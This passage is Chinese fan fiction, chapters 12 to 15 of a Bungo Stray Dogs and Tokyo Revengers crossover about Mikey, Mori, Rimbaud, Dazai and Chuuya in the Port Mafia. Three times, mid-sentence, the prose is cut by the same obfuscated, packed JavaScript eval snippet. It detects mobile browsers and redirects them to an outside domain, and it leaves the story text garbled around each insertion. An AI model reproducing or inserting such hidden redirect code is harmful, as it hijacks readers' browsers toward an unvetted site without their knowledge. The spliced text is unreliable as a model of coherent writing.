佐野万次郎盯着叉子上尖锐的四个叉齿发呆。没听到男人继续说下去的声音,他偏头,慢半拍地问:“你说完了吗?” 男人没料到他的反应这么漫不经心。 “Mikey君,”他勉强地笑道,“你听到我刚才说了什么吗?” 佐野万次郎托着脸说:“听到了。” “要不是森鸥外搅局,导致前代不明不白地死了,首领的位置……前代其实是想交到你手上的。” “虽然这么说,但你没有证据,”佐野万次郎摇了摇头,“森亲那边可是有人证的,没有证据,谁会相信你呢?” 男人急忙指向自己,“我可以作证,前代意识清醒时亲口对我说过,我说的都是真的!” “就算你说你说的都是真的,可森亲也不会承认他说的是假的。老头子已经死了,他的灵魂在他停止呼吸的那一刻就消失了,身体和棺材一起埋进了土里,没人能知道他当时的想法。所以,就让这一切都结束吧。” 佐野万次郎淡淡地说:“你也不要总是活在对森亲的仇恨里,他是港口黑手党的首领,这就是现实。” “不是这样,不是这样的!” 男人的眼中布满血丝,脸颊也因为充血变成红色。 可男人不觉得自己的状态有什么不对,反而笑了起来,“哈哈哈……我知道了,Mikey君,你被森鸥外骗了。” 佐野万次郎静静地注视着他,他大笑着,笑着笑着又问道。 “Mikey君,你也很喜欢前代对吗?” 佐野万次郎实话实说:“他不发病的时候,是个和我爷爷差不多年纪,很有精神的老头,我挺喜欢他的。” 男人满意地点点头,一瞬间变了脸色。 “要是我说,森鸥外就是杀死前代的凶手,Mikey君,你会怎么想?” 他追问道:“你会恨他吗?你会觉得他骗了你吗?” 佐野万次郎没有回答,只是放下了撑着脸的手,又把手上的叉子放回餐盘上。 “不要再说了。”他对男人说。 男人神经质地瞪着眼睛,用极小的声音喃喃道:“森鸥外是个卑鄙的男人,你,前代,所有人都被他骗了……前代信任着作为医生的他,森鸥外又是你的监护人,说不定前代把对我说过的话也对他说过。他想要坐上那个位置,所以杀了前代,伪造遗言。Mikey君,森鸥外不可能对你说实话,因为你也会妨碍他。可是他又要留下你,他需要你来维系港口黑手党中偏于前代的人。他才是、一直在利用你。” 他站了起来,往前几步,试图向佐野万次郎伸出手,“你不该相信他,你会相信我的……你会相信我的,对吧,Mikey君?” 佐野万次郎坐在餐桌的主位,平静地看着他,没有因为他的话产生哪怕一丁点的动摇。 “我不想听这些,所以不要再说了。”他说。 男人瞪大了眼睛:“Mikey君……” 说服不了他。 他不会为了你改变想法。 男人立刻拥有了这样的认知。 他把佐野万次郎当成求生的浮木,但是这个孩子没有成为浮木的意思。 男人感觉到了痛苦,同时又觉得正常。 “毕竟你是森鸥外带大的孩子,哈哈,”他干笑几声,声音中染上愤恨,“到头来,还是要站在他那边吗?” 面对他的指责,佐野万次郎神色不变。 兰堂皱眉,冷淡地开口道:“松井先生,够了。” “兰堂,”男人总算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123648|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将目光分到别人身上,“你是叛徒。” 兰堂说:“我效忠于港口黑手党的首领。” “森鸥外,又是森鸥外。” 男人无力地跌坐在椅子上。 兰堂站起来,隔着一张餐桌,从上至下地看着他,说:“松井先生,意图谋害首领,你才是港口黑手党的叛徒。” 他轻声问道:“你还有话要说吗?” 男人垂着头,坐在椅子上,不敢抬头。 这就是最后了。 森鸥外和兰堂不会留下他的性命。 他不后悔对森鸥外动手,给他重来一次的机会,他还是一定会想杀掉那个人。 只是运气不好而已。 所有人都站在森鸥外那边。 唯一不甘心的是,他不想把前代首领看好的那个孩子完全交到森鸥外手里。 “Mikey君,对不起,刚才对你这么说。” 男人的情绪恢复正常,他缓缓说道:“我希望你能理解我,我也试图在理解你。我明白的,森鸥外对你而言是重要的人,但是我刚才所说的一切,全部都是真的,我不会说假话欺骗你。” “最后,我想再告诉你一件事。” “港口黑手党的‘前代派’之所以在最近几个月如此活跃,策划了多起对森鸥外的暗杀,是因为外界流行起了一个传闻——前代复活了。” 他眼神锐利,扫过在场的两个人,这时的他才有港口黑手党的气魄。 “兰堂,你肯定听说过,可你不会主动告诉Mikey君。只有Mikey君不知道,森鸥外不想让他知道。” 男人冷笑了一声,“森鸥外抢过来的那个位置,还坐得舒服吗?他会遭到报应——” 话没说完,一颗子弹打中了他的脑袋,男人摔在了地上,连一声惨叫都没来得及发出。 佐野万次郎回头,看见兰堂举起了手枪。 是他扣动的扳机。 “忘记松井先生的话,Mikey君,”兰堂用温柔的声音说,“他只会给你带来困扰。” 佐野万次郎点点头,“事情解决了,我们回去吗?” “稍等一下。” 兰堂没有放下举着枪的手臂,他移动枪口,对准蹲在角落里的女仆。 砰地一声,子弹没有射穿女仆的身体,而是打偏到了一旁的墙壁上。 佐野万次郎抓住了他持枪的手,迫使弹道改变了方向。 “你干什么?” 兰堂不理解他的问题,不过被抓住了手,也没有挣扎,“今天在这里面的一切不能传出去,所以不能留下她。” 佐野万次郎看向吓到坐在地上掉眼泪的女仆,“没关系,她不会说出去的。” 想了想,他又说:“就算说出去,也没关系。” 腿软得走不动路的女仆被黑衣人架着胳膊带了下去。 佐野万次郎说了要留她的性命,兰堂就不会反悔杀她,最多让部下好好教她,什么话死了也不能说给别人听。 整座宅邸都清扫干净了,按照黑手党的规矩,背叛者的亲族也要被制裁。男人没有成家,也没有亲近的亲戚,这个步骤可以免去。 兰堂交代完外面的下属,走进房子里找佐野万次郎,发现他还待在餐厅,蹲在男人的尸体前,不知在想什么。 他往那边靠近,听到他的脚步声,佐野万次郎不回头也知道是他。 兰堂听到他问:“前代老头子真的复活了吗?” “Mikey君,死者是不可能复活的。”兰堂温柔地说。 “嗯,我知道,死者是不可能复活的。” 许久之后,佐野万次郎伸手,合上男人睁开的双眼。 他起身,走到兰堂身边。 兰堂摸了摸他的头发,突然想起了什么,补充道:“但松井先生说的没错,前代复活的传闻确实悄然流传开了。传闻对于首领、对于港口黑手党都不是好事。首领很头痛,打算派人前去调查。只是不清楚,他会派谁去?” 13.第十三章 太宰治步履轻快地踩着马路上的白线走在前面。 今天是个晴朗的好天气,也能够给人带来好的心情。 因为不是在市区,路上没多少人,他这么走路不会给别人添麻烦。 为了确保每一脚都精准地踩在白线上,不偏移到外面灰色的水泥路面上去,太宰治张开两条手臂,保持身体的平衡,低着头,每一次落脚都有注意落脚的地点。 中原中也跟在他的身后,两只手插在外套口袋,满脸不爽的表情。 他们一前一后在路上走着,中间相隔了一段距离。 可那一段路上只有他们两个人,所以任谁都看得出来他们是同伴。 而且很像在闹脾气所以故意不走在一起的同伴。 马路的白线在前方的下坡路断开,太宰治停了下来,这才注意到身边没有橘发少年的身影。 他转身,看见中原中也还在很远的位置,于是停在原地等待。 等中原中也走近了,他凑了过去,笑眯眯地提议道:“中也君,不要像只被人类欺负了的小狗那样阴沉着一张脸,笑一笑嘛。” 中原中也瞪了他一眼,“对着你这个混蛋谁能笑得出来。” “居然对我有这么深的偏见,好可惜啊,我觉得我们两个能好好相处来着,”太宰治伸手去摸他的头,“为什么偏偏讨厌我呢,是觉得我不理你很寂寞吗?想玩游戏?不如我们来比谁能从那个坡上更快地滚下来?” 中原中也拍开他的手,“别碰我的头,还有谁要跟你玩这种无聊的游戏!” 代表友好的手被人无情地拍开了,太宰治摸摸下巴,“奇怪了,中也怎么会这么抵触呢,书上明明不是这么写的。” 中原中也问:“什么书?” 太宰治说道:“教人如何交到好朋友的书。” 中原中也嫌弃道:“你居然会看这种书,但是不管看什么书都没用,你这种绷带怪人,谁会想和你做朋友,看见你都要吐了好吗?” 太宰治露出被伤害的表情,“居然说这种残忍的话,中也不喜欢吗?我完全按照书上教的在做啊。” “你也不想想你刚才做的什么,乱摸我的头,叫我坐在地上,”中原中也怒道,“还把鞋扔出去叫我捡,谁会帮你捡鞋,你去死吧!” 太宰治更委屈了,“最后你不是没有去捡鞋,是我穿着袜子把鞋捡回来的,没必要生气吧?” “你自己扔出去的你自己的鞋,不就应该你去捡吗?干嘛好像是我做得不对。” “帮我捡一下也没什么吧,书上说这样会增加两方的友谊。” “最好能增加啦,什么破书乱写,我真想把你一脚从这个坡上踢下去!” 太宰治举起两只手抗议,“那样会很痛,不要这么做,我可是很怕痛的。” 中原中也眼神鄙夷地看他,“谁管你啊。” 虽然话是这么说,可中原中也没有抬起脚来踹他,而是走在他的身边,和他一起慢慢往坡下走去。 走到半路,中原中也察觉到不对劲,“你说你是按照书上教的在做,哪个教人怎么交朋友的书上面会让你摸别人的头,还把鞋扔出去叫别人捡,你到底看的什么书?” “就是教人怎么交朋友的书,我特地从图书馆借来的,为了和中也好好相处。”太宰治从怀里掏出一本书,“我有随身带在身上哦,完全是按照书上做的,书上教的怎么可能出错,是中也的脾气太怪了吧。” “给我看看!” 中原中也抢过书翻开,“摸头是增进感情的方式,想要交到朋友,就多多摸摸他的头夸奖他……还真有写,可是总觉得奇怪,这本书的作者是不是变态啊?” 他再往后翻了几页,越看越觉得不对,一看封面的书名,顿时怒不可遏,拿起书就往太宰治脸上砸。 “什么教人如何交到好朋友的书,这不是教人怎么和宠物做好朋友的书吗?!” 太宰治的脸部被书击中,他发出“哇”的一声,意外道:“我借错了?不过没差别吧,反正中也是狗。” “你才是狗,你就是故意的!” 中原中也一脚踹在他后背,把他踹倒在地上。 不是喜欢打滚吗?今天让你滚个够。这么想着,他往太宰治身上踢了一脚。 在他这一脚的帮助下,太宰治翻滚着往坡底滚去。 幸好坡底的道路上信号灯是红的,路上没车经过,不然就算遇上一辆摩托车,太宰治都可能从一个完整的人变成一个缺胳膊少腿的人。 太宰治摇摇晃晃地站了起来,捂住嘴,一脸不舒服的表情。 “头好晕,好想吐……” “玩得开心吗,太宰?”中原中也坏笑着走到他身边。 太宰治看了他一眼,“中也真过分,我是出于好心才这么做的,一点都不领情。” “谁需要港口黑手党的好心,卑鄙小人,恶心的绷带怪人,阴沉脸的宅男。”中原中也骂他。 “中也好没素质。” “你哪来的脸说别人,我都看见了,滚下来的时候你把从图书馆借来的书扔了,那可是城市的公共财产!” “因为有本书硌着我很难受,归根结底是中也踢我下来的错。” 他们两个挡在马路的正中间,互相批判对方的错误,有车经过也不管。 偶尔路过的车见他们两个吵得投入,都默默打方向盘往两边变道,不愿打扰这两个孩子。 有个骑着自行车的老奶奶经过,提醒他们不要站在马路中间,会有危险。 中原中也感谢了老奶奶,瞪了太宰治一眼,率先往前面走去。 “中也认识路吗?” 两个人的位置互换,太宰治跟在他后面。 中原中也觉得他在说废话,没好气道:“你说我认不认识?我又不是港口黑手党,还能天天到你们总部去逛。” “那到底是认识还是不认识?”太宰治想了想,“我知道了,中也可以靠鼻子闻,闻到我身上的味道就知道路怎么走了。” 中原中也回头,“都说了我不是狗,你是不是真的想找死?” 太宰治一脸无所谓。 “要是死我比较想没有痛苦地死去,中也杀我肯定会让我很痛,所以我不想被中也杀死。” 他停顿了一下,“而且,为了‘羊’的同伴,中也目前不能杀我,只能和我、和港口黑手党成为合作者,真是可惜呢。” 港口黑手党抓了“羊”的成员。 这就是中原中也会和太宰治走在一起的理由。 中原中也是“羊”组织的首领,在中原中也加入以前,“羊”是风雨中摇摇欲坠的弱小组织,中原中也加入之后,“羊”脱离了弱小的行列,变成了拥有一定势力范围的组织。 横滨从来不缺少像这样拥有一定势力范围组织,今天“羊”的领地是属于“羊”的,明天在一场冲突过后就可能变成别人的地盘。不属于大的黑手党组织的人,只有聚集在一起,才能够在这座城市的阴暗面存活。 “羊”奉行反击主义,也就是说一旦伤害了“羊”成员的人,会受到百倍的反击。 他们靠着不放弃同伴和绝对的反击主义在横滨站稳脚跟。 不过“羊”的成员不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142006|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白痴,虽然组织发展的势头很好,但如果不是对方先欺负他们,他们不会去招惹强大的组织——比如港口黑手党。 但是可能是中原中也的强大迷惑了他们,让他们拥有了错误的判断,认为首领的强大就是“羊”的强大。一个月以前,“羊”的成员在中原中也没有出场的会议中决定,对港口黑手党实施攻击。 这件事对港口黑手党的影响较小,上面没有注意到,因为没有发生什么,中原中也甚至不知道其他成员的擅自行动。 时间过去两个星期,距离今天的十七天前,港口黑手党突击了“羊”的地盘,从“羊”的领地掠夺物资。 这也是底下人的擅自行动,像中原中也不知道羊的成员擅自行动了一样,港口黑手党是更为庞大的组织,首领也不知道手底下的人做出了这种事。 接着就是十天以前,中原中也一人摧毁了港口黑手党的运输部队。 这一回上面总算是看到了底下的人惹出的麻烦。 中原中也很强大,他有即使面对港口黑手党这种庞然大物也不惧怕的力量,但“羊”的其他成员很弱小,港口黑手党只是稍微动了一下手指头,“羊”就趴在地上起不来了。 他还没有决定接下来该怎么做,一个看起来阴沉沉的少年为他带来了港口黑手党的消息。 港口黑手党的首领想请他协助一件事情,事情办完之后,黑手党不会计较“羊”的行为,还会释放抓来的“羊”的成员。 给他带来消息的人是太宰治。 中原中也咬着牙,“港口黑手党都是一群卑鄙小人,有本事你们就正面宣战,背后使手段是什么意思!” 他加快脚步,把太宰治甩在后面。 想到港口黑手党中原中也就烦,他不想和在场的唯一一个港口黑手党呼吸同一片空气。 太宰治不接受再次被骂,他追了上去,紧紧跟在中原中也身后。 “中也怎么又骂人,绷带怪人、阴沉脸的宅男就算了,抓‘羊’的成员威胁中也的主意又不是我出的,是森先生出的,怎么连我都被一起骂成卑鄙小人。”他抗议道:“接下来我们会见到森先生,到时候中也直接骂他就是了。” 他好像是真心期待看到中原中也骂他口中的“森先生”,早就知道“森先生”是谁的中原中也无语,“你可真是港口黑手党boss的好部下。” 太宰治把他的讽刺当做夸奖,“对吧?” 中原中也见他如此得意,已经不知道说什么好了。算了,反正有这样添乱的部下,也是港口黑手党的boss活该。 他自顾自地往前走。 太宰治追不上他,两人的距离再次拉开,相安无事地走了一段路,他听见太宰治的声音从后面传来。 “上一个路口应该往左拐,中也,你走错路了。” 中原中也跑了回去,揪起他的衣领。 “你不早说!” 太宰治无辜道:“我以为中也认识路。” 中原中也吼他,“我又不是港口黑手党怎么会认识啊!” “那中也还一个人走在前面,叫我来带路不就行了吗?” 他说得太对了,中原中也无可辩解,只能嘴唇颤抖地挤出一句:“真不爽……” “别不高兴嘛,我们两个合不来,我可以给中也介绍别的朋友,让你开心一下。” 太宰治即使被揪住衣领脸上讨人厌的表情也丝毫不变,中原中也嫌弃地放开,他反而把脸贴了过来,冲着中原中也微笑。 “你们两个一定会合得来,会成为好朋友的,可以手拉着手去看儿童频道哦。” 14.第十四章 “那真是谢谢了,”中原中也点了点头,握紧拳头要打他,“谁需要你介绍!” 太宰治灵巧地闪躲开,“不需要吗?中也看起来就没朋友。” “谁说我没朋友,你才是没朋友的那个。” “我和中也不一样,我是不需要,”太宰治装模作样地竖起一根手指,“中也是根本找不到朋友。” 中原中也脑门上出现暴起的青筋,“我刚才就想问了,你为什么叫我中也,谁允许你直接叫我的名字?” 太宰治理所当然地说:“中也的姓氏太长,名字叫起来比较方便。况且名字取出来就是让人叫的,有谁规定过不许叫中也的名字吗,没有人啊。” 中原中也勒他的脖子,“我自己规定的,港口黑手党不许跟我套近乎,不许叫我的名字!” “要喘不过气了,好难受,好难受,”太宰治拍打他的手臂,“中也是个暴力狂,总是用武力胁迫可怜的人,早知道带两个保镖来了。” 感觉他差不多受到教训了,中原中也松开勒着他脖子的手臂,把他推到一边,“知道我的厉害了吧,虽然不能杀了你,让你吃点苦头还是可以的。” “咳咳,好心反倒没好报,”太宰治摸着脖子咳嗽,“这就是好心想要帮助狗,反而被咬了一口的感觉吧,狗果然是最讨厌的生物。” 中原中也扬起眉毛,威胁道:“怎么,绷带混蛋,你还想试试?” 太宰治不说话了,只是默默和中原中也拉开距离。 “我还是和中也保持合适的社交距离吧,免得中也的暴力狂基因发作。” 这家伙总是说着惹人生气的话,中原中也懒得理他,把手插回外套口袋。 太宰治走在前面带路,他们走出了没什么人的郊外,进到市区。 周围变得热闹起来,特别是进入了商业街区域,人行道上到处都是人,密集的人群几乎要把他们冲散。 为了不和太宰治走散,中原中也只好紧紧地跟着他。 不可避免的,又给他说惹人生气话的机会。 “刚才的提案,中也考虑得怎么样?” “哈?” “就是给中也介绍朋友的提案。” 中原中也瞪了他一眼,“不需要。” “真的不需要吗?错过或许会后悔一辈子,你们两个脾气这么像,肯定会相处得很好。”太宰治不死心地连续问。 中原中也烦躁地接连拒绝他,“这么缠人真的很烦,你是给不想结婚的年轻人介绍对象的婚介所员工吗?” 太宰治演了起来,“怎么会,我只是真的觉得你们两个很相配,想得到介绍成功的高额介绍费什么的,绝对没这回事。” 中原中也敷衍道:“是吗是吗,婚介所的工作人员,这么好的人你留给自己吧。” 太宰治面露难色,“不行啊,我讨厌他。” “你讨厌他你还介绍给我!” “正因为我讨厌他,才把他介绍给中也,”太宰治笑容满面地说,“因为像我讨厌他一样,我也同样讨厌着中也。” 中原中也偏头看着他,见到他的笑容,“啧”了一声。 “啊是吗?我也讨厌你这个阴沉脸的绷带混蛋,现在姑且忍耐一下,后面一定不要再见到你了。” 太宰治装模作样地点点头,“看来仅仅在这一点上,我们两个还是合得来的。” 中原中也用肩膀撞开他往前走去。 “就算只有这一点合得来,我也绝对不要,很恶心啊。” 太宰治看着他的背影,喃喃自语:“我也是。” 中原中也还记得自己不认识路,没有走出很远。 太宰治找到他时,他站在前面的十字路口,踢着脚下的碎石头打发时间。 “中也像失去了主人的狗呢。” 太宰治走过来的第一句话就是这个。 中原中也又想揪他的衣领,“又要挑衅我?” “这次不是挑衅,前几次可能是,这次真的不是。”人行道对面的绿灯亮了,太宰治跟着过马路的人群一起往对面走,他一边走一边说:“我完全是有感而发,该怎么说呢……中也给人只有一个人的感觉。” 中原中也和他一起走过人行道,“你这是什么形容?” 太宰治一只手摸着下巴,陷入思考,“我也说不好,先前不是说了吗,中也和我认识的一个人很像。” 中原中也目视前方,“要从这里开始啊,好像会很长,要不你别说了。” 太宰治脸上浮现出淡淡的笑容,“好好听着嘛,中也,我没办法和那个人说这种话,他是不会和我谈心的类型。” 中原中也余光瞥向他,“面对我就能说?” “中也比他稍微好一点点,大概这么多,”太宰治用手比划了一下,证明那真的只是一点点,“我和他算认识的时间不算短,但我们两个相性不好,能正常聊天的机会也很少。” 中原中也若有所思,“跟你这家伙这么处不来,听起来确实是我会喜欢的类型。” “中也和那个人是一种类型呢,不讨厌自己的人,就不会讨厌和自己相同类型的别人吧。” 太宰治暗自嘀咕,“不过森先生说他以前和我很像,而我很讨厌森先生……我是和这两个人完全相反的类型。” 中原中也没听清,“你说什么?” “没什么,回归正题吧,”太宰治端正神色,“虽然我说中也和那个人很像,但你们不管是成长环境、样貌还是经历都截然不同,相似的是你们给人的感觉。” “好模糊的概念。” “我也觉得很模糊,可是中也自己见到了就会知道,在这之后我们去见森先生,森先生也会吓一跳吧。” “别说的好像我俩是双胞胎。” “没有想到那种程度啦,你们两个有些地方一样,有些地方不一样。中也是被大家簇拥的中心人物,却和其他人格格不入,站在人群中也很有违和感。”太宰治说,“他身边也像中也一样包围着很多人,但是他就没有一个人的感觉。” 太宰治自己也不明白,“这是为什么呢?” 中原中也没有理会他自言自语似的发问,他抬头看着前方的大楼,“到了。” 太宰治从自己的思绪中抽身,看向前方,映入眼帘的是熟悉的黑色建筑。 那是港口黑手党的本部大楼,位于横滨的繁华地段,一共有五栋。 他走向最中间的大楼,“中也,跟我来吧,森先生肯定等急了。” 大厅的警卫人员见到太宰治,和他打了招呼。 看见中原中也跟在太宰治后面,他们没露出异样的表情,只是在简单打量了几眼后就把视线移开了。 中原中也没来过这种地方,忍不住看了看周围。 港口黑手党的事务所大楼大厅不像办公地点,更像装修豪华的酒店,连脚下踩的瓷砖地板都亮到能当镜子用。 从大厅经过的人穿着整齐的职业套装,头发梳起来,看着像大公司的上班族。 这就是港口黑手党? 看起来好高级啊。 “中也,不要像乡下人进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144986|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城一样到处乱看。” 太宰治压低声音说:“你又不是刚进入人类社会的小鹿,会被人注意到的。” 中原中也脸红,“没办法,我就是没来过这种地方!” “‘羊’不是富裕的组织呢。” “我们不像港口黑手党这么有钱,真是对不起了。” 一楼的电梯口有数十部电梯,通往不同的楼层,每一部电梯的顶上写着通往楼层的数字。 中原中也还在看上面的数字,太宰治对他说:“我们不坐这些。” 他带着中原中也走向里侧通往首领办公室的专属电梯,电梯前有一个人站在那里,看起来也是在等这部电梯。 中原中也看着那个人的背影,心中暗想他是什么样的人。 长头发,但是身高很高,身形看着像男人。秋天穿着这么多衣服,难道他很怕冷?现在也不冷啊,中原中也想,真是奇怪的人。 太宰治也看见了那个人,他走上前,和那个人打招呼,“兰堂先生,你好。” “是太宰君啊,你好,”那个人转过身,发现中原中也,“这位是……?” 太宰治介绍道:“他是森先生的客人。” 中原中也冲他点头,“我叫中原中也。” “那位‘羊之王’吗?”那个人听过他的名号,露出意外的表情,“原来是这么年轻的孩子,中也君,你好,我是兰堂。” 兰堂长着一张外国人的脸,日语说得很流利。 电梯到了,他们三个一起上电梯,按下顶楼的按键,太宰治问道:“兰堂先生找森先生有事吗?工作上的事?” 兰堂脸上的表情出现了一瞬间的僵硬。 “不是工作上的事……” 太宰治看他表现怪怪的,警惕道:“难道是森先生要求兰堂先生帮他去小学收集幼女的照片?这个是犯罪啊,虽然兰堂先生是黑手党。” 中原中也听到太宰治的话,没忍住吐槽道:“你们boss好变态。” “森先生就是变态,是糟糕的大人,”太宰治赞同,“ 顺便一提,他的梦想是做女子小学的校长。” 中原中也摇头,“不可能请这种变态去做小学校长的吧。” “嗯,对幼女来说太危险了。” “太宰君,中也君,请你们停一停,”兰堂打断了他们两个,“首领不会让人去做这种事情的,他叫我过去是让我想办法,把在办公室捣乱的那个孩子领走。” “捣乱的孩子?”中原中也满脸问号。 太宰治一下就懂了,“森先生又惹他不高兴了,自己处理不好,还要兰堂先生来处理,真是没用的大人。” 兰堂不好说首领的坏话,只能保持沉默。 中原中也看着他们两个,“你们在说谁?” 电梯在这个时候到了,太宰治推他出电梯,“中也看到就知道了,正好,我想给你介绍的人就是他。” 他们三个人走向办公室的门口,站在留出缝隙的门前,中原中也听到里面传来吵闹的声音。 守卫为他们打开大门,太宰治先走进去,兰堂第二个进去,中原中也跟在他们两个身后,踏入了那个房间。 最先看到的是摆放在空旷办公室中间的那张办公桌。 一个从打扮上来看像是首领的男人坐在办公桌的后面,有些苦恼地捂着脑袋。 他面前的办公桌上坐着一个金发少年,应该和中原中也差不多大,此时正不管不顾地拍着桌子,对着疑似港口黑手党首领的男人发脾气。 这是什么情况? 15.第十五章 中原中也往旁边一看,太宰治和兰堂脸上都是习以为常的表情。 这种情况经常出现吗? 他站在原地眨巴着眼睛,不知道该做何反应。 是不是不应该在这个时候进来,可是门口的守卫也没说什么啊,要不然现在退到门外等着? 他犹豫着该怎么做的期间,房间里的两个人沉浸在自己的世界中,似乎没有注意到办公室多出来的三个人。 港口黑手党的首领抱着脑袋,头深深地低着,从中原中也的角度只能看见他脑袋上的发旋。 虽然看不到他脸上的表情,但中原中也能感受到从他身上散发出的阴暗绝望的气息,这种人就是港口黑手党的首领吗?和他想象中的不一样。 中原中也又把目光投向坐在办公桌上的金发少年,这个孩子就是太宰治说的和他很像的人吧。在港口黑手党首领面前表现得这么嚣张,到底是什么身份……还有,中原中也露出怀疑的表情,这种小孩子脾气的人到底跟他像在哪里? 他才不会对着大人任性地发脾气撒娇! 站在门口时听不清里面在吵什么,走进来能听清楚了,金发少年对港口黑手党首领喊着“我再也不会原谅你!”,顺便化身桌面清扫大师,在拍桌子的间隙一挥手把桌上的东西通通扫落在地。港口黑手党首领从抱头变成用手捂着脸,偶尔说上一句“关于那件事我不是已经道歉了吗?”,然后被金发少年用“我不接受”通通顶了回去。 具体是什么事情不原谅,可能前面已经吵过一轮,他们话里一直没提。 中原中也站在那听他们吵了至少十分钟,两个人来来回回就是以上那些话,一点有用的信息都没有。 就算如此,他们还是能形成外人插不进去的结界。喜欢吵架是无所谓啦,但能不能不要叫人来,然后又把人晾在一边。 中原中也是个外人,不好掺和他们港口黑手党的家事,所以他指望太宰治或者兰堂来阻止这两个人。 他转头想叫他们两个发挥一下作用。 结果不看还好,一看发现和他一起进门的,十分钟前还整整齐齐站在他旁边的太宰治和兰堂,此时早就不见了,连个残像都没留下。 这俩人跑哪儿去了?他在办公室里找了一圈,在沙发上面找到了那两个人。 太宰治横躺在沙发上,双手拿着游戏机,一双眼睛死死盯着屏幕,手指在游戏机操作按键上按来按去,时不时像条鱼那样打个挺,看样子全身心投入了游戏。 兰堂坐在沙发的另一头,靠着扶手,身上包着一条毯子。他手里捧着一本书翻看,中原中也的视力很好,从封面上判断出兰堂看的是一本欧洲的诗集。 中原中也气不打一处来,这两个人在干嘛,他们到办公室是来度假的吗? 港口黑手党是个不靠谱的组织,从上到下全是些不靠谱的人,中原中也深刻地认识到了。要不是同伴还在港口黑手党的手里,他真想转头就走,谁要跟不靠谱的人谈合作啊。 他在心里怀疑今天过来这里是不是个错误,要救出同伴,直接打进港口黑手党的地牢听起来还靠谱一点。 港口黑手党的首领恰好抬起头,发现了独自站在办公桌前的中原中也,他的脸上出现了呆愣的表情,好像在想这个没见过的孩子是谁。中原中也用不对他抱有希望的眼神和他对视,首领眼前一亮,总算想起了中原中也的身份。 “欢迎来到港口黑手党,中也君。”首领的微笑无懈可击,真看不出他上一秒还是个被任性孩子折磨到快要崩溃的家长。 坐在办公桌上的金发少年听见首领的声音,停下了手中的动作,也偏头往中原中也的方向看过来。 ———— 佐野万次郎早就注意到有人进了办公室。 听他们发出的声音就知道。走路比较轻的是太宰治,发出衣物摩擦声音的是穿着厚大衣的兰堂,除他们以外,还有第三个人,听着是不认识的人。 他现在很忙,没空管那个不认识的人,所以没有往那边看。 目前最重要的事是向森鸥外讨个说法。 佐野万次郎最喜欢的东西排名不分先后地说,分别是蛋包饭、铜锣烧、鲷鱼烧。 后两个属于点心,且都是甜点,森鸥外不许他多吃。 前一个为了摄入的营养均衡,也不能天天吃,所以每次轮到吃蛋包饭的日子,佐野万次郎都很期待。 昨天晚上提起今天的午餐是蛋包饭,森鸥外心血来潮打算亲自下厨。 楼下有私人厨房,森鸥外的厨艺也不差,再加上蛋包饭不是什么难做的料理,佐野万次郎觉得没差别。 虽然认为出去吃更方便,但森鸥外喜欢就让他做吧。 佐野万次郎拉着爱丽丝看《假面战队》,他只提出了一个要求,家里做的蛋包饭没有餐厅插的那面小旗子,就像电视里用番茄酱画上爱心好了。 森鸥外答应下来,他忙活半天做了三份。 佐野万次郎把最漂亮的蛋包饭给了爱丽丝,做得最难看的留给森鸥外,中间那份归他自己。 端上来的蛋包饭还没有画爱心,森鸥外拿着番茄酱的瓶子,不熟练地在佐野万次郎那份蛋包饭上操作。 刚开封的番茄酱瓶子里面的酱料太满了,他只是稍微用了点力,瓶子里的番茄酱就喷了出来,撒在金黄色的蛋卷上,变成一滩红色的血池。 “啊。”森鸥外发出意料之外的声音。 佐野万次郎放下勺子,深吸了一口气。 森鸥外赶紧说道:“Mikey君,还有一份,这次我会小心的。” 佐野万次郎无声地看着他,森鸥外再次拿起番茄酱的瓶子。 瓶子在他刚才的挤压中排出了空气,他接着按压,空气进入瓶身,瓶身恢复成原先的形状,里面的番茄酱像是洪水决堤争先恐后地涌出。 另一份蛋包饭上面出现了更大面积的血池。 察觉到投放在自己身上的目光,森鸥外有种干了坏事的感觉,他放下番茄酱的瓶子,刚想为自己辩解,佐野万次郎的声音就响了起来。 “森亲——” 森鸥外紧张地说:“Mikey君,你听我说……” 佐野万次郎忍无可忍道:“我不听!我再也不会原谅你了!” 爱丽丝吃着属于自己的蛋包饭,看着他们为了蛋包饭上番茄酱的形状吵架,懒得理他们两个。 虽然佐野万次郎最后还是吃了,但吃完他也没原谅森鸥外,不管森鸥外如何道歉。 道歉了很多遍的森鸥外也渐渐觉得烦了,毕竟只是个意外,他觉得是可以体谅的。 就这样,两人的战争持续到了现在。 见到那个和太宰治还有兰堂一起走进来的陌生人,是个和他年龄相仿的橘发少年,佐野万次郎顿时有了主意。 他指着那个陌生人,“你。” 陌生人神情诧异道:“我?” 